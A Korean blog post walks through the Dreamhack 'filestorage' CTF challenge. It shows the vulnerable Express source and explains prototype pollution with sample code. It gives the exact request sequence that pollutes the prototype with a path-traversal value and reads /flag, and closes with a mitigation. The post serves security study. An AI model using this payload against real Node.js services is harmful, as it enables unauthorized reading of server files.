외로운 Nova의 작업실

dreamhack - filestorage 문제풀이 본문

Web Penetesting/Web Vulnerability

dreamhack - filestorage 문제풀이

Nova_ 2023. 6. 4. 17:39

- 문제 설명

플래그는 / 디렉터리에 flag 파일로 존재한다고 합니다.

 

- 소스코드

const express=require('express');
const bodyParser=require('body-parser');
const ejs=require('ejs');
const hash=require('crypto-js/sha256');
const fs = require('fs');
const app=express();


var file={};
var read={};
function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}
function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};
    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}

app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine','ejs');


app.get('/',function(req,resp){
	read['filename']='fake';
	resp.render(__dirname+"/ejs/index.ejs");

})

app.post('/mkfile',function(req,resp){
	let {filename,content}=req.body;
	filename=hash(filename).toString();
	fs.writeFile(__dirname+"/storage/"+filename,content,function(err){
		if(err==null){
			file[filename]=filename;
			resp.send('your file name is '+filename);
		}else{
			resp.write("<script>alert('error')</script>");
			resp.write("<script>window.location='/'</script>");
		}
	})

})

app.get('/readfile',function(req,resp){
	let filename=file[req.query.filename];
	if(filename==null){
		fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
			resp.send(data);
		})
	}else{
		read[filename]=filename.replaceAll('.','');
		fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
			if(err==null){
				resp.send(data);
			}else{
				resp.send('file is not existed');
			}
		})
	}

})

app.get('/test',function(req,resp){
	let {func,filename,rename}=req.query;
	if(func==null){
		resp.send("this page hasn't been made yet");
	}else if(func=='rename'){
		setValue(file,filename,rename)
		resp.send('rename');
	}else if(func=='reset'){
		read={};
		resp.send("file reset");
	}
})


app.listen(8000);

파일을 만들고 읽는 기능이 구현되어 있습니다. 이때 filedownload 취약점을 방어하기위해서 replaceAll()함수를 적절히 사용하는 것을 볼 수 있습니다. 그러면 다른 공격 벡터를 찾아야합니다. 저도 이 문제를 풀면서 공부한건데, 이 코드에는 prototype pollusion 이라는 취약점이 존재합니다.

 

- prototype pollution

프로토타입 오염공격이라도하며 자세한 사항은 아래에 사이트에서 확인 가능합니다.

https://blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/

 

Node.js에서의 프로토타입 오염 공격이란 무엇인가

__proto__을 이용한 프로토타입 오염(prototype pollution) 공격의 원리를 설명하면서 노드 환경에서 실제 공격이 가능한 사례를 함께 소개합니다.

blog.coderifleman.com

간단하게 설명해드리자면 아래 그림과 같습니다.

<오염 패턴>

간단하게 오염이 일어날 수 있는 패턴을 정리하겠습니다.

// 속성설정

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}
 
function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};
    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}
 
const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1
//객체 병합
function merge(a, b) {
  for (let key in b) {
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}
 
const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // 1
//객체 복사
function clone(obj) {
  return merge({}, obj);
}
 
const obj1 = JSON.parse('{"__proto__":{"polluted":1}}');
const obj2 = clone(obj1);
const obj3 = {};
console.log(obj3.polluted); // 1

이중에서 setValue함수가 문제의 코드속에 존재합니다.

 

- 문제 풀이

문제의 핵심은 filename 객체를 이용해서 read 객체를 오염시켜야합니다.

/test 경로에서 func에 rename을, filename과 rename에는 프로토타입 오염 공격 페이로드 를 전달해줍니다.

/test?func=rename&filename=__proto__.filename&rename=../../../../../../../../flag

이제 read 객체를 초기화 시켜줍니다.

test?func=reset

이제 /readfile 경로로가서 filename에는 아무값도 주지않습니다.

readfile?filename=

그러면 flag값이 나오게됩니다.

reset을 시켜주지않으면 read['filename']이라는 객체가 오버라이딩 되어있어서 부모객체를 참조하지않습니다. 따라서 꼭 reset해줘야합니다.

 

- 대응방안

프로토 오염을 막기위해서는 속성값이 __proto__인 경우 건너뛰는 로직을 추가해줘야합니다.

Comments